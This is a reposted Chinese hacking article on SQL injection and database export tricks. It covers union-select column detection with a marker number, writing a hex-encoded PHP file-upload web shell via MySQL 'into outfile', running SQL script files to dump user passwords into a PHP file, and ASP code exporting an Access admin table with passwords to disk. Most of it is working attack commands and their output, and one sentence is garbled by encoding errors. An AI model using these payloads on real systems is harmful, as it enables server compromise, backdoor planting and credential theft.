| 关键词: nbsp 1.123230273 select txt mysql 字段 ERROR heige 字符 错误 |
文章作者:superhei1.不要错误判断(特殊字符)的sql注射 经典方法: id=1 and 1=2 union select 1,1,1,1,1,1,1 再根据特殊字符判断 我们知道当上面的字段前后一样时,查询出来的字段数据都被1替换了,这里用可以把1改为一个特殊点的数字(不可以为字符),比如这样: id= and 1=2 union select 1.123230273,1.123230273,1.123230273,1.123230273 ...... 当我们字段相同时,数据都会被1.123230273替换出来,我们只要用程序查找返回的数据是否包含了1.123230273这个就可以判断了 不过有的程序 当你查询错误时 自动提示出你的错误的sql语句 当然这个里面就有你提交的1.123230273,这个焙蛘飧龇椒ň褪О芰恕?ps:CASI3.0就采用的这个办法。 2.mysql导出shell新方法 经典方法: CREATE TABLE a (cmd text NOT NULL) <-创建一个表 INSERT INTO a (cmd) VALUES () <-插入数据 select cmd from a into outfile path 〈-导出 DROP TABLE IF EXISTS a 〈-删表 新方法: mysql> select 0x3C3F636F707928245F46494C45535B4D7946696C655D5B746D705F6E616D655D 2C245F46494C45535B4D7946696C655D5B6E616D655D293B3F3E2F2F from in.user into outfi le 'c:/heige.php'; Query OK, 2 rows affected (0.00 sec) C:\>type heige.php <?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>// <?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>// 注意上面语句的 from in.user <-这个必须存在 :) 这个方法也应用在casi3自带mysqlc.exe里面。 3.Eexcute a SQL Script file in Mysql 先把我们要执行的语句保存为一文件: c:.txt里内容: select * from user into outfile 'c:/heige.php'; 在mysql执行: mysql> \. ERROR: Usage: \. <filename> | source <filename> mysql> \. c:.txt Query OK, 2 rows affected (0.00 sec) C:\>type heige.php 1 angel mypass 2 4ngel mypass2 也可以使用 mysql> source c:.txt 我们再看看可以用select去执行不 : mysql> select \. c:.txt ERROR 1086: File 'c:/heige.php' already exists mysql> select source c:.txt ERROR: Unknown command ''. -> ; ERROR 1064: You have an error in your SQL syntax. Check the manual that corresp onds to your MySQL server version for the right syntax to use near ':.txt' at line 1 看来select 只识别\. 大家注意到select \. c:.txt 着里面路径不要求'' ,不过又多了个\ 这个在magic_quotes_gpc = On 下照样过不去 有兴趣的可以接着玩玩 :) 4.access导出文件 详细见kevin的blog http://hididi.net/public/Kevin/blogview.asp?logID=73 <% 'code by superhei 'test access Set Conn = Server.CreateObject("ADODB.Connection") dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb") Set Rs = Server.CreateObject("ADODB.Recordset") Conn.Open dsn SQL = "SELECT * into [mytest112.txt] IN 'c:\' 'text;' FROM admin;" rs.open sql,conn if rs.eof and rs.bof then ' Access Denied else ' Access Allowed end if rs.close set rs=nothing '关闭连接 conn.close set conn=nothing response.write "sql为:" &sql %> 执行上面的asp C:\>dir mytest*.txt 驱动器 C 中的卷是 AAAAAAA 卷的序列号是 3CEE-A8A9 C:\ 的目录 2005-02-09 17:27 46 mytest112.txt 1 个文件 46 字节 0 个目录 885,846,016 可用字节 C:\>type mytest112.txt "id","f_name","f_password" 1,"admin","pass" |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|